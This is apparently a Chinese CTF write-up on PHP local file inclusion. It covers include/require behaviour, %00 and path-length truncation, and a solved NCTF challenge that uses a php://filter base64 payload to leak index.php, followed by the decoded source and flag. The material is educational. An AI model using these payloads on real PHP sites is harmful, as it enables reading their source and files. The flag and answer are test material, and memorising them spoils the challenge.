文件包含漏洞(绕过姿势)

1.1文件包含漏洞的形成

文件包含就是代码注入的典型代表,PHP的文件包含可以直接执行包含文件的代码,而且包含文件的格式是不受限制的,因此如果我们在包含文件中输入恶意代码,就会导致文件包含漏洞,文件包含漏洞大多可以直接利用获取webshell。

文件包含函数主要有以下四个:

  • include()
  • include_once
  • require()
  • require_once()

他们之间的区别在于:include()和include_once()在包含文件时即使遇到错误,下面的代码也会继续执行,而require()和require_once()则会直接报错并退出程序。

1.2本地文件包含漏洞

本地文件包含(load file include)简称LFI
测试代码如下:


如果输入file=1,并在1.php中输入,页面将会显示出php的版本信息。

1.3文件包含截断

文件包含中,如果我们不能写入以.php为扩展名的文件,常常需要进行截断

  • 方法一

因为php基于c语言,是以0字符进行结尾的,所以可以用\0或者%00进行截断

  • 方法二

因为有些时候%00截断会被GPC和addslashes等函数过滤掉,这是我们再用第一种方法就就没用了,而在目录字符串,在windows256字节,linux下4096字节时会达到最大值,最大值之后的字符将会被抛弃,这时就可以用多个(.)和(/)来截断

1.4 直接上题目

题目链接

文件包含漏洞(绕过姿势)_第1张图片

点击之后跳转到另一个界面
文件包含漏洞(绕过姿势)_第2张图片

此时

   http://4.chinalover.sinaapp.com/web7/index.php?file=show.php

我试着写了一段payload:

http://4.chinalover.sinaapp.com/web7/index.php?file=test123.php

http://4.chinalover.sinaapp.com/web7/index.php?file=index.php

完全没效果,哇,果然这一题不是这么简单,查看源码也没有啥有效信息,难受啊,实在没办法搜了答案,payload如下:

http://4.chinalover.sinaapp.com/web7/index.php?file=php://filter/read=convert.base64-encode/resource=index.php

convert.base64-encode对数据流进行加密
完全没看懂,没接触过filter,不知道是干嘛的,于是搜了一下:
文件包含漏洞(绕过姿势)_第3张图片

原来这一题还考了php://filter的绕过,首先过滤index.php这个数据流,然后通过base64加密读取文件代码,这样页面就显示了一段经过base64加密之后的字符串,如下图:

在这里插入图片描述

PGh0bWw+CiAgICA8dGl0bGU+YXNkZjwvdGl0bGU+CiAgICAKPD9waHAKCWVycm9yX3JlcG9ydGluZygwKTsKCWlmKCEkX0dFVFtmaWxlXSl7ZWNobyAnPGEgaHJlZj0iLi9pbmRleC5waHA/ZmlsZT1zaG93LnBocCI+Y2xpY2sgbWU/IG5vPC9hPic7fQoJJGZpbGU9JF9HRVRbJ2ZpbGUnXTsKCWlmKHN0cnN0cigkZmlsZSwiLi4vIil8fHN0cmlzdHIoJGZpbGUsICJ0cCIpfHxzdHJpc3RyKCRmaWxlLCJpbnB1dCIpfHxzdHJpc3RyKCRmaWxlLCJkYXRhIikpewoJCWVjaG8gIk9oIG5vISI7CgkJZXhpdCgpOwoJfQoJaW5jbHVkZSgkZmlsZSk7IAovL2ZsYWc6bmN0ZntlZHVsY25pX2VsaWZfbGFjb2xfc2lfc2lodH0KCj8+CjwvaHRtbD4=

拿去经过base64解码之后,网页源代码出现了:


    asdf
    
click me? no';}
	$file=$_GET['file'];
	if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
		echo "Oh no!";
		exit();
	}
	include($file); 
//flag:nctf{edulcni_elif_lacol_si_siht}

?>

flag:nctf{edulcni_elif_lacol_si_siht}

你可能感兴趣的:(web安全)